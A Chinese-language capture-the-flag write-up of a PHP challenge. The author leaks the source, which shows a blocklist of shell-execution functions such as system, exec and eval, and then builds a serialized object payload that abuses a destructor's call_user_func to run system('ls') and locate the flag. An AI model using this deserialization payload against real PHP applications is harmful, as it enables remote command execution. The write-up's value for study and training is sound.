BUU上看到可以复现,那么按耐不住内心的我就开始肝。
进入主页
纳尼,这是个什么玩意。过了几秒
话不多说,查看源码
传递两个参数,func和p,抓包看看
如果我记得不错date应该是个函数,而p的值应该是date的参数,查查php手册
也就是说,这里可能可以执行php函数,那么首先肯定是要试试eval了
实锤可以执行了,但是这里肯定是有过滤的,怎么办呢?先试试读index.php的源码把
试试file_get_contents()
那么
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
萌新表示看不懂,php手册上
call_user_func()一种调用函数的方法,假设$a=var_dump,$b=abc,这种调用方法就相当于$a($b)
gettype()如字面意思说就是获取类型
strolower()把所有字符转换为小写
in_array()在数组中搜索值
很简单,这里有个类。
而且只对$func进行了判断,那么很容易让人联想到反序列化,况且对p也没有什么过滤操作
故构造payload:
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
}
$a = new Test();
$a->func = "system";
$a->p = "ls";
echo serialize($a);
已经可以执行系统命令了,主要是自己太菜,不知道怎么写shell。
最后flag在/tmp/flagoefiu4r93,别问我怎么知道的,手动一个个找的